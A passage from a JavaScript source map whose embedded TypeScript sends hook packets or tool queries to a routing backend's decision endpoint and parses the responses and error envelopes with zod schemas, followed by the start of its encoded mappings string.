{ status: 'failed'; reason: string; errorCode?: string };\n\n/**\n * ONE FREE CALL, IN TWO FORMS. The hook sends `{ packet }`: the backend runs\n * the gate, and on `execute` stores that packet under an id. The tool sends\n * `{ query, id? }`: the backend makes THE decision from that query plus the\n * packet it stored, and answers with the contract to run.\n *\n * The tool never sends a packet of its own. The turn's context lives on the\n * backend against the id, and the query the model wrote is what the routing\n * corpus is calibrated against: 55 of 56 for query plus packet, 53 of 56 for\n * the raw prompt, measured on jev-1.13.0.\n */\nexport async function requestDecision(\n kind: 'hook',\n request: { packet: Packet },\n deps: DecisionDeps,\n): Promise<DecisionOutcome<HookResponse>>;\nexport async function requestDecision(\n kind: 'tool',\n request: { query: string; id?: string; gateHint?: GateHint },\n deps: DecisionDeps,\n): Promise<DecisionOutcome<ToolResponse>>;\nexport async function requestDecision(\n kind: CallKind,\n request: {\n query?: string;\n packet?: Packet;\n id?: string;\n gateHint?: GateHint;\n },\n deps: DecisionDeps,\n): Promise<DecisionOutcome<HookResponse | ToolResponse>> {\n const url = new URL(ROUTER_PATH, deps.baseUrl).toString();\n const options: HttpRequestOptions = {\n method: 'POST',\n timeoutMs: deps.timeoutMs ?? deps.ctx.flags.timeout,\n blockRedirects: true,\n jsonBody:\n kind === 'hook'\n ? buildHookBody(request.packet as Packet)\n : buildToolBody({\n query: request.query as string,\n ...(request.id !== undefined ? { id: request.id } : {}),\n ...(request.gateHint !== undefined ? { gateHint: request.gateHint } : {}),\n }),\n ...(deps.fetchImpl !== undefined ? { fetchImpl: deps.fetchImpl } : {}),\n };\n return readDecision(\n await httpRequest(url, options),\n kind === 'hook' ? HookResponseSchema : ToolResponseSchema,\n );\n}\n\nfunction readDecision<T extends z.ZodTypeAny>(\n response: HttpResult,\n schema: T,\n): DecisionOutcome<z.infer<T>> {\n // A transport failure says its own reason; nothing was paid either way,\n // because there is nothing to pay for on this route.\n if (!response.ok) return { status: 'failed', reason: fetchFailureToCliError(response).message };\n if (response.status < 200 || response.status >= 300) {\n const named = errorOf(response.json);\n return {\n status: 'failed',\n // The backend's own code and message, never a bare status line: a typed\n // refusal the host could act on was arriving as \"answered 400\".\n reason:\n named === null\n ? `The router endpoint answered ${response.status}.`\n : `The router endpoint answered ${response.status} (${named.code}): ${named.message}`,\n ...(named !== null ? { errorCode: named.code } : {}),\n };\n }\n const parsed = schema.safeParse(response.json);\n if (!parsed.success) {\n return { status: 'failed', reason: 'The router returned a decision this build cannot read.' };\n }\n return { status: 'decided', decision: parsed.data as z.infer<T> };\n}\n\n/** `{ error: { code, message } }`, the envelope every Tenjin route answers a\n * refusal with. Anything else reads as no code rather than as a guess. */\nfunction errorOf(body: unknown): { code: string; message: string } | null {\n if (body === null || typeof body !== 'object') return null;\n const error = (body as { error?: unknown }).error;\n if (error === null || typeof error !== 'object') return null;\n const { code, message } = error as { code?: unknown; message?: unknown };\n if (typeof code !== 'string' || code.length === 0 || code.length > 64) return null;\n const text = typeof message === 'string' ? message.slice(0, 500) : '';\n return { code, message: text };\n}\n"],"mappings":";;;;;;;;;;AAuBO,IAAM,cAAc;AAO3B,IAAM,gBAAgB,iBAAE,OAAO;AAAA,EAC7B,KAAK,iBAAE,OAAO,EAAE,IAAI,CAAC,EAAE,IAAI,KAAM;AAAA,EACjC,QAAQ,iBAAE,KAAK,CAAC,OAAO,QAAQ,OAAO,SAAS,UAAU,QAAQ,SAAS,CAAC;AAAA,EAC3E,SAAS,iBAAE,OAAO,iBAAE,OAAO,GAAG,iBAAE,OAAO,CAAC;AAAA,EACxC,MAAM,iBACH,OAAO,EACP,IAAI,MAA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